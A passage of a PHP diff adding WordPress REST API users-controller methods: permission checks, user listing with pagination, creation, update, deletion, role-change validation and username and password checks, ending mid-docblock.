+	/**
+	 * Checks for a valid value for the reassign parameter when deleting users.
+	 *
+	 * The value can be an integer, 'false', false, or ''.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param int|bool        $value   The value passed to the reassign parameter.
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @param string          $param   The parameter that is being sanitized.
+	 *
+	 * @return int|bool|WP_Error
+	 */
+	public function check_reassign( $value, $request, $param ) {
+		if ( is_numeric( $value ) ) {
+			return $value;
+		}
+
+		if ( empty( $value ) || false === $value || 'false' === $value ) {
+			return false;
+		}
+
+		return new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) );
+	}
+
+	/**
+	 * Permissions check for getting all users.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has read access, otherwise WP_Error object.
+	 */
+	public function get_items_permissions_check( $request ) {
+		// Check if roles is specified in GET request and if user can list users.
+		if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
+			return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
+			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
+			return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( 'authors' === $request['who'] ) {
+			$can_view = false;
+			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
+			foreach ( $types as $type ) {
+				if ( post_type_supports( $type->name, 'author' )
+					&& current_user_can( $type->cap->edit_posts ) ) {
+					$can_view = true;
+				}
+			}
+			if ( ! $can_view ) {
+				return new WP_Error( 'rest_forbidden_who', __( 'Sorry, you are not allowed to query users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieves all users.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+
+		// Retrieve the list of registered collection query parameters.
+		$registered = $this->get_collection_params();
+
+		/*
+		 * This array defines mappings between public API query parameters whose
+		 * values are accepted as-passed, and their internal WP_Query parameter
+		 * name equivalents (some are the same). Only values which are also
+		 * present in $registered will be set.
+		 */
+		$parameter_mappings = array(
+			'exclude'  => 'exclude',
+			'include'  => 'include',
+			'order'    => 'order',
+			'per_page' => 'number',
+			'search'   => 'search',
+			'roles'    => 'role__in',
+			'slug'     => 'nicename__in',
+		);
+
+		$prepared_args = array();
+
+		/*
+		 * For each known parameter which is both registered and present in the request,
+		 * set the parameter's value on the query $prepared_args.
+		 */
+		foreach ( $parameter_mappings as $api_param => $wp_param ) {
+			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
+				$prepared_args[ $wp_param ] = $request[ $api_param ];
+			}
+		}
+
+		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
+			$prepared_args['offset'] = $request['offset'];
+		} else {
+			$prepared_args['offset']  = ( $request['page'] - 1 ) * $prepared_args['number'];
+		}
+
+		if ( isset( $registered['orderby'] ) ) {
+			$orderby_possibles = array(
+				'id'              => 'ID',
+				'include'         => 'include',
+				'name'            => 'display_name',
+				'registered_date' => 'registered',
+				'slug'            => 'user_nicename',
+				'include_slugs'   => 'nicename__in',
+				'email'           => 'user_email',
+				'url'             => 'user_url',
+			);
+			$prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ];
+		}
+
+		if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) {
+			$prepared_args['who'] = 'authors';
+		} elseif ( ! current_user_can( 'list_users' ) ) {
+			$prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' );
+		}
+
+		if ( ! empty( $prepared_args['search'] ) ) {
+			if ( ! current_user_can( 'list_users' ) ) {
+				$prepared_args['search_columns'] = array( 'ID', 'user_login', 'user_nicename', 'display_name' );
+			}
+			$prepared_args['search'] = '*' . $prepared_args['search'] . '*';
+		}
+		/**
+		 * Filters WP_User_Query arguments when querying users via the REST API.
+		 *
+		 * @link https://developer.wordpress.org/reference/classes/wp_user_query/
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param array           $prepared_args Array of arguments for WP_User_Query.
+		 * @param WP_REST_Request $request       The current request.
+		 */
+		$prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request );
+
+		$query = new WP_User_Query( $prepared_args );
+
+		$users = array();
+
+		foreach ( $query->results as $user ) {
+			$data = $this->prepare_item_for_response( $user, $request );
+			$users[] = $this->prepare_response_for_collection( $data );
+		}
+
+		$response = rest_ensure_response( $users );
+
+		// Store pagination values for headers then unset for count query.
+		$per_page = (int) $prepared_args['number'];
+		$page     = ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );
+
+		$prepared_args['fields'] = 'ID';
+
+		$total_users = $query->get_total();
+
+		if ( $total_users < 1 ) {
+			// Out-of-bounds, run the query again without LIMIT for total count.
+			unset( $prepared_args['number'], $prepared_args['offset'] );
+			$count_query = new WP_User_Query( $prepared_args );
+			$total_users = $count_query->get_total();
+		}
+
+		$response->header( 'X-WP-Total', (int) $total_users );
+
+		$max_pages = ceil( $total_users / $per_page );
+
+		$response->header( 'X-WP-TotalPages', (int) $max_pages );
+
+		$base = add_query_arg( $request->get_query_params(), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
+		if ( $page > 1 ) {
+			$prev_page = $page - 1;
+
+			if ( $prev_page > $max_pages ) {
+				$prev_page = $max_pages;
+			}
+
+			$prev_link = add_query_arg( 'page', $prev_page, $base );
+			$response->link_header( 'prev', $prev_link );
+		}
+		if ( $max_pages > $page ) {
+			$next_page = $page + 1;
+			$next_link = add_query_arg( 'page', $next_page, $base );
+
+			$response->link_header( 'next', $next_link );
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Get the user, if the ID is valid.
+	 *
+	 * @since 4.7.2
+	 *
+	 * @param int $id Supplied ID.
+	 * @return WP_User|WP_Error True if ID is valid, WP_Error otherwise.
+	 */
+	protected function get_user( $id ) {
+		$error = new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) );
+		if ( (int) $id <= 0 ) {
+			return $error;
+		}
+
+		$user = get_userdata( (int) $id );
+		if ( empty( $user ) || ! $user->exists() ) {
+			return $error;
+		}
+
+		if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) {
+			return $error;
+		}
+
+		return $user;
+	}
+
+	/**
+	 * Checks if a given request has access to read a user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
+	 */
+	public function get_item_permissions_check( $request ) {
+		$user = $this->get_user( $request['id'] );
+		if ( is_wp_error( $user ) ) {
+			return $user;
+		}
+
+		$types = get_post_types( array( 'show_in_rest' => true ), 'names' );
+
+		if ( get_current_user_id() === $user->ID ) {
+			return true;
+		}
+
+		if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
+			return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
+		} elseif ( ! count_user_posts( $user->ID, $types ) && ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) ) {
+			return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieves a single user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_item( $request ) {
+		$user = $this->get_user( $request['id'] );
+		if ( is_wp_error( $user ) ) {
+			return $user;
+		}
+
+		$user = $this->prepare_item_for_response( $user, $request );
+		$response = rest_ensure_response( $user );
+
+		return $response;
+	}
+
+	/**
+	 * Retrieves the current user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_current_item( $request ) {
+		$current_user_id = get_current_user_id();
+
+		if ( empty( $current_user_id ) ) {
+			return new WP_Error( 'rest_not_logged_in', __( 'You are not currently logged in.' ), array( 'status' => 401 ) );
+		}
+
+		$user     = wp_get_current_user();
+		$response = $this->prepare_item_for_response( $user, $request );
+		$response = rest_ensure_response( $response );
+
+
+		return $response;
+	}
+
+	/**
+	 * Checks if a given request has access create users.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
+	 */
+	public function create_item_permissions_check( $request ) {
+
+		if ( ! current_user_can( 'create_users' ) ) {
+			return new WP_Error( 'rest_cannot_create_user', __( 'Sorry, you are not allowed to create new users.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Creates a single user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function create_item( $request ) {
+		if ( ! empty( $request['id'] ) ) {
+			return new WP_Error( 'rest_user_exists', __( 'Cannot create existing user.' ), array( 'status' => 400 ) );
+		}
+
+		$schema = $this->get_item_schema();
+
+		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
+			$check_permission = $this->check_role_update( $request['id'], $request['roles'] );
+
+			if ( is_wp_error( $check_permission ) ) {
+				return $check_permission;
+			}
+		}
+
+		$user = $this->prepare_item_for_database( $request );
+
+		if ( is_multisite() ) {
+			$ret = wpmu_validate_user_signup( $user->user_login, $user->user_email );
+
+			if ( is_wp_error( $ret['errors'] ) && ! empty( $ret['errors']->errors ) ) {
+				$error = new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) );
+				foreach ( $ret['errors']->errors as $code => $messages ) {
+					foreach ( $messages as $message ) {
+						$error->add( $code, $message );
+					}
+					if ( $error_data = $error->get_error_data( $code ) ) {
+						$error->add_data( $error_data, $code );
+					}
+				}
+				return $error;
+			}
+		}
+
+		if ( is_multisite() ) {
+			$user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email );
+
+			if ( ! $user_id ) {
+				return new WP_Error( 'rest_user_create', __( 'Error creating new user.' ), array( 'status' => 500 ) );
+			}
+
+			$user->ID = $user_id;
+			$user_id  = wp_update_user( wp_slash( (array) $user ) );
+
+			if ( is_wp_error( $user_id ) ) {
+				return $user_id;
+			}
+
+			$result= add_user_to_blog( get_site()->id, $user_id, '' );
+			if ( is_wp_error( $result ) ) {
+				return $result;
+			}
+		} else {
+			$user_id = wp_insert_user( wp_slash( (array) $user ) );
+
+			if ( is_wp_error( $user_id ) ) {
+				return $user_id;
+			}
+		}
+
+		$user = get_user_by( 'id', $user_id );
+
+		/**
+		 * Fires immediately after a user is created or updated via the REST API.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_User         $user     Inserted or updated user object.
+		 * @param WP_REST_Request $request  Request object.
+		 * @param bool            $creating True when creating a user, false when updating.
+		 */
+		do_action( 'rest_insert_user', $user, $request, true );
+
+		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
+			array_map( array( $user, 'add_role' ), $request['roles'] );
+		}
+
+		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
+			$meta_update = $this->meta->update_value( $request['meta'], $user_id );
+
+			if ( is_wp_error( $meta_update ) ) {
+				return $meta_update;
+			}
+		}
+
+		$user = get_user_by( 'id', $user_id );
+		$fields_update = $this->update_additional_fields_for_object( $user, $request );
+
+		if ( is_wp_error( $fields_update ) ) {
+			return $fields_update;
+		}
+
+		$request->set_param( 'context', 'edit' );
+
+		/**
+		 * Fires after a user is completely created or updated via the REST API.
+		 *
+		 * @since 5.0.0
+		 *
+		 * @param WP_User         $user     Inserted or updated user object.
+		 * @param WP_REST_Request $request  Request object.
+		 * @param bool            $creating True when creating a user, false when updating.
+		 */
+		do_action( 'rest_after_insert_user', $user, $request, true );
+
+		$response = $this->prepare_item_for_response( $user, $request );
+		$response = rest_ensure_response( $response );
+
+		$response->set_status( 201 );
+		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) );
+
+		return $response;
+	}
+
+	/**
+	 * Checks if a given request has access to update a user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
+	 */
+	public function update_item_permissions_check( $request ) {
+		$user = $this->get_user( $request['id'] );
+		if ( is_wp_error( $user ) ) {
+			return $user;
+		}
+
+		if ( ! empty( $request['roles'] ) ) {
+			if ( ! current_user_can( 'promote_user', $user->ID ) ) {
+				return new WP_Error( 'rest_cannot_edit_roles', __( 'Sorry, you are not allowed to edit roles of this user.' ), array( 'status' => rest_authorization_required_code() ) );
+			}
+
+			$request_params = array_keys( $request->get_params() );
+			sort( $request_params );
+			// If only 'id' and 'roles' are specified (we are only trying to
+			// edit roles), then only the 'promote_user' cap is required.
+			if ( $request_params === array( 'id', 'roles' ) ) {
+				return true;
+			}
+		}
+
+		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
+			return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Updates a single user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function update_item( $request ) {
+		$user = $this->get_user( $request['id'] );
+		if ( is_wp_error( $user ) ) {
+			return $user;
+		}
+
+		$id = $user->ID;
+
+		if ( ! $user ) {
+			return new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) );
+		}
+
+		if ( email_exists( $request['email'] ) && $request['email'] !== $user->user_email ) {
+			return new WP_Error( 'rest_user_invalid_email', __( 'Invalid email address.' ), array( 'status' => 400 ) );
+		}
+
+		if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) {
+			return new WP_Error( 'rest_user_invalid_argument', __( "Username isn't editable." ), array( 'status' => 400 ) );
+		}
+
+		if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) {
+			return new WP_Error( 'rest_user_invalid_slug', __( 'Invalid slug.' ), array( 'status' => 400 ) );
+		}
+
+		if ( ! empty( $request['roles'] ) ) {
+			$check_permission = $this->check_role_update( $id, $request['roles'] );
+
+			if ( is_wp_error( $check_permission ) ) {
+				return $check_permission;
+			}
+		}
+
+		$user = $this->prepare_item_for_database( $request );
+
+		// Ensure we're operating on the same user we already checked.
+		$user->ID = $id;
+
+		$user_id = wp_update_user( wp_slash( (array) $user ) );
+
+		if ( is_wp_error( $user_id ) ) {
+			return $user_id;
+		}
+
+		$user = get_user_by( 'id', $user_id );
+
+		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
+		do_action( 'rest_insert_user', $user, $request, false );
+
+		if ( ! empty( $request['roles'] ) ) {
+			array_map( array( $user, 'add_role' ), $request['roles'] );
+		}
+
+		$schema = $this->get_item_schema();
+
+		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
+			$meta_update = $this->meta->update_value( $request['meta'], $id );
+
+			if ( is_wp_error( $meta_update ) ) {
+				return $meta_update;
+			}
+		}
+
+		$user = get_user_by( 'id', $user_id );
+		$fields_update = $this->update_additional_fields_for_object( $user, $request );
+
+		if ( is_wp_error( $fields_update ) ) {
+			return $fields_update;
+		}
+
+		$request->set_param( 'context', 'edit' );
+
+		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
+		do_action( 'rest_after_insert_user', $user, $request, false );
+
+		$response = $this->prepare_item_for_response( $user, $request );
+		$response = rest_ensure_response( $response );
+
+		return $response;
+	}
+
+	/**
+	 * Checks if a given request has access to update the current user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
+	 */
+	public function update_current_item_permissions_check( $request ) {
+		$request['id'] = get_current_user_id();
+
+		return $this->update_item_permissions_check( $request );
+	}
+
+	/**
+	 * Updates the current user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	function update_current_item( $request ) {
+		$request['id'] = get_current_user_id();
+
+		return $this->update_item( $request );
+	}
+
+	/**
+	 * Checks if a given request has access delete a user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
+	 */
+	public function delete_item_permissions_check( $request ) {
+		$user = $this->get_user( $request['id'] );
+		if ( is_wp_error( $user ) ) {
+			return $user;
+		}
+
+		if ( ! current_user_can( 'delete_user', $user->ID ) ) {
+			return new WP_Error( 'rest_user_cannot_delete', __( 'Sorry, you are not allowed to delete this user.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Deletes a single user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function delete_item( $request ) {
+		// We don't support delete requests in multisite.
+		if ( is_multisite() ) {
+			return new WP_Error( 'rest_cannot_delete', __( 'The user cannot be deleted.' ), array( 'status' => 501 ) );
+		}
+		$user = $this->get_user( $request['id'] );
+		if ( is_wp_error( $user ) ) {
+			return $user;
+		}
+
+		$id       = $user->ID;
+		$reassign = false === $request['reassign'] ? null : absint( $request['reassign'] );
+		$force    = isset( $request['force'] ) ? (bool) $request['force'] : false;
+
+		// We don't support trashing for users.
+		if ( ! $force ) {
+			/* translators: %s: force=true */
+			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
+		}
+
+		if ( ! empty( $reassign ) ) {
+			if ( $reassign === $id || ! get_userdata( $reassign ) ) {
+				return new WP_Error( 'rest_user_invalid_reassign', __( 'Invalid user ID for reassignment.' ), array( 'status' => 400 ) );
+			}
+		}
+
+		$request->set_param( 'context', 'edit' );
+
+		$previous = $this->prepare_item_for_response( $user, $request );
+
+		/** Include admin user functions to get access to wp_delete_user() */
+		require_once ABSPATH . 'wp-admin/includes/user.php';
+
+		$result = wp_delete_user( $id, $reassign );
+
+		if ( ! $result ) {
+			return new WP_Error( 'rest_cannot_delete', __( 'The user cannot be deleted.' ), array( 'status' => 500 ) );
+		}
+
+		$response = new WP_REST_Response();
+		$response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data() ) );
+
+		/**
+		 * Fires immediately after a user is deleted via the REST API.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_User          $user     The user data.
+		 * @param WP_REST_Response $response The response returned from the API.
+		 * @param WP_REST_Request  $request  The request sent to the API.
+		 */
+		do_action( 'rest_delete_user', $user, $response, $request );
+
+		return $response;
+	}
+
+	/**
+	 * Checks if a given request has access to delete the current user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
+	 */
+	public function delete_current_item_permissions_check( $request ) {
+		$request['id'] = get_current_user_id();
+
+		return $this->delete_item_permissions_check( $request );
+	}
+
+	/**
+	 * Deletes the current user.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	function delete_current_item( $request ) {
+		$request['id'] = get_current_user_id();
+
+		return $this->delete_item( $request );
+	}
+
+	/**
+	 * Prepares a single user output for response.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_User         $user    User object.
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_REST_Response Response object.
+	 */
+	public function prepare_item_for_response( $user, $request ) {
+
+		$data   = array();
+		$fields = $this->get_fields_for_response( $request );
+
+		if ( in_array( 'id', $fields, true ) ) {
+			$data['id'] = $user->ID;
+		}
+
+		if ( in_array( 'username', $fields, true ) ) {
+			$data['username'] = $user->user_login;
+		}
+
+		if ( in_array( 'name', $fields, true ) ) {
+			$data['name'] = $user->display_name;
+		}
+
+		if ( in_array( 'first_name', $fields, true ) ) {
+			$data['first_name'] = $user->first_name;
+		}
+
+		if ( in_array( 'last_name', $fields, true ) ) {
+			$data['last_name'] = $user->last_name;
+		}
+
+		if ( in_array( 'email', $fields, true ) ) {
+			$data['email'] = $user->user_email;
+		}
+
+		if ( in_array( 'url', $fields, true ) ) {
+			$data['url'] = $user->user_url;
+		}
+
+		if ( in_array( 'description', $fields, true ) ) {
+			$data['description'] = $user->description;
+		}
+
+		if ( in_array( 'link', $fields, true ) ) {
+			$data['link'] = get_author_posts_url( $user->ID, $user->user_nicename );
+		}
+
+		if ( in_array( 'locale', $fields, true ) ) {
+			$data['locale'] = get_user_locale( $user );
+		}
+
+		if ( in_array( 'nickname', $fields, true ) ) {
+			$data['nickname'] = $user->nickname;
+		}
+
+		if ( in_array( 'slug', $fields, true ) ) {
+			$data['slug'] = $user->user_nicename;
+		}
+
+		if ( in_array( 'roles', $fields, true ) ) {
+			// Defensively call array_values() to ensure an array is returned.
+			$data['roles'] = array_values( $user->roles );
+		}
+
+		if ( in_array( 'registered_date', $fields, true ) ) {
+			$data['registered_date'] = date( 'c', strtotime( $user->user_registered ) );
+		}
+
+		if ( in_array( 'capabilities', $fields, true ) ) {
+			$data['capabilities'] = (object) $user->allcaps;
+		}
+
+		if ( in_array( 'extra_capabilities', $fields, true ) ) {
+			$data['extra_capabilities'] = (object) $user->caps;
+		}
+
+		if ( in_array( 'avatar_urls', $fields, true ) ) {
+			$data['avatar_urls'] = rest_get_avatar_urls( $user->user_email );
+		}
+
+		if ( in_array( 'meta', $fields, true ) ) {
+			$data['meta'] = $this->meta->get_value( $user->ID, $request );
+		}
+
+		$context = ! empty( $request['context'] ) ? $request['context'] : 'embed';
+
+		$data = $this->add_additional_fields_to_object( $data, $request );
+		$data = $this->filter_response_by_context( $data, $context );
+
+		// Wrap the data in a response object.
+		$response = rest_ensure_response( $data );
+
+		$response->add_links( $this->prepare_links( $user ) );
+
+		/**
+		 * Filters user data returned from the REST API.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_REST_Response $response The response object.
+		 * @param object           $user     User object used to create response.
+		 * @param WP_REST_Request  $request  Request object.
+		 */
+		return apply_filters( 'rest_prepare_user', $response, $user, $request );
+	}
+
+	/**
+	 * Prepares links for the user request.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Post $user User object.
+	 * @return array Links for the given user.
+	 */
+	protected function prepare_links( $user ) {
+		$links = array(
+			'self' => array(
+				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ),
+			),
+			'collection' => array(
+				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
+			),
+		);
+
+		return $links;
+	}
+
+	/**
+	 * Prepares a single user for creation or update.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Request object.
+	 * @return object $prepared_user User object.
+	 */
+	protected function prepare_item_for_database( $request ) {
+		$prepared_user = new stdClass;
+
+		$schema = $this->get_item_schema();
+
+		// required arguments.
+		if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) {
+			$prepared_user->user_email = $request['email'];
+		}
+
+		if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) {
+			$prepared_user->user_login = $request['username'];
+		}
+
+		if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) {
+			$prepared_user->user_pass = $request['password'];
+		}
+
+		// optional arguments.
+		if ( isset( $request['id'] ) ) {
+			$prepared_user->ID = absint( $request['id'] );
+		}
+
+		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
+			$prepared_user->display_name = $request['name'];
+		}
+
+		if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) {
+			$prepared_user->first_name = $request['first_name'];
+		}
+
+		if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) {
+			$prepared_user->last_name = $request['last_name'];
+		}
+
+		if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) {
+			$prepared_user->nickname = $request['nickname'];
+		}
+
+		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
+			$prepared_user->user_nicename = $request['slug'];
+		}
+
+		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
+			$prepared_user->description = $request['description'];
+		}
+
+		if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) {
+			$prepared_user->user_url = $request['url'];
+		}
+
+		if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) {
+			$prepared_user->locale = $request['locale'];
+		}
+
+		// setting roles will be handled outside of this function.
+		if ( isset( $request['roles'] ) ) {
+			$prepared_user->role = false;
+		}
+
+		/**
+		 * Filters user data before insertion via the REST API.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param object          $prepared_user User object.
+		 * @param WP_REST_Request $request       Request object.
+		 */
+		return apply_filters( 'rest_pre_insert_user', $prepared_user, $request );
+	}
+
+	/**
+	 * Determines if the current user is allowed to make the desired roles change.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param integer $user_id User ID.
+	 * @param array   $roles   New user roles.
+	 * @return true|WP_Error True if the current user is allowed to make the role change,
+	 *                       otherwise a WP_Error object.
+	 */
+	protected function check_role_update( $user_id, $roles ) {
+		global $wp_roles;
+
+		foreach ( $roles as $role ) {
+
+			if ( ! isset( $wp_roles->role_objects[ $role ] ) ) {
+				/* translators: %s: role key */
+				return new WP_Error( 'rest_user_invalid_role', sprintf( __( 'The role %s does not exist.' ), $role ), array( 'status' => 400 ) );
+			}
+
+			$potential_role = $wp_roles->role_objects[ $role ];
+
+			/*
+			 * Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
+			 * Multisite super admins can freely edit their blog roles -- they possess all caps.
+			 */
+			if ( ! ( is_multisite()
+				&& current_user_can( 'manage_sites' ) )
+				&& get_current_user_id() === $user_id
+				&& ! $potential_role->has_cap( 'edit_users' )
+			) {
+				return new WP_Error( 'rest_user_invalid_role', __( 'Sorry, you are not allowed to give users that role.' ), array( 'status' => rest_authorization_required_code() ) );
+			}
+
+			/** Include admin functions to get access to get_editable_roles() */
+			require_once ABSPATH . 'wp-admin/includes/admin.php';
+
+			// The new role must be editable by the logged-in user.
+			$editable_roles = get_editable_roles();
+
+			if ( empty( $editable_roles[ $role ] ) ) {
+				return new WP_Error( 'rest_user_invalid_role', __( 'Sorry, you are not allowed to give users that role.' ), array( 'status' => 403 ) );
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Check a username for the REST API.
+	 *
+	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param  mixed            $value   The username submitted in the request.
+	 * @param  WP_REST_Request  $request Full details about the request.
+	 * @param  string           $param   The parameter name.
+	 * @return WP_Error|string The sanitized username, if valid, otherwise an error.
+	 */
+	public function check_username( $value, $request, $param ) {
+		$username = (string) $value;
+
+		if ( ! validate_username( $username ) ) {
+			return new WP_Error( 'rest_user_invalid_username', __( 'Username contains invalid characters.' ), array( 'status' => 400 ) );
+		}
+
+		/** This filter is documented in wp-includes/user.php */
+		$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );
+
+		if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ) ) ) {
+			return new WP_Error( 'rest_user_invalid_username', __( 'Sorry, that username is not allowed.' ), array( 'status' => 400 ) );
+		}
+
+		return $username;
+	}
+
+	/**
+	 * Check a user password for the REST API.
+	 *
+	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param  mixed            $value   The password submitted in the request.
+	 * @param  WP_REST_Request  $request Full details about the request.
+	 * @param  string           $param   The parameter name.
+	 * @return WP_Error|string The sanitized password, if valid, otherwise an error.
+	 */
+	public function check_user_password( $value, $request, $param ) {
+		$password = (string) $value;
+
+		if ( empty( $password ) ) {
+			return new WP_Error( 'rest_user_invalid_password', __( 'Passwords cannot be empty.' ), array( 'status' => 400 ) );
+		}
+
+		if ( false !== strpos( $password, "\\" ) ) {
+			return new WP_Error( 'rest_user_invalid_password', __( 'Passwords cannot contain the "\\" character.' ), array( 'status' => 400 ) );
+		}
+
+		return $password;
+	}
+
+	/**
+	 * Retrieves the user's schema, conforming to JSON Schema.
+	 *
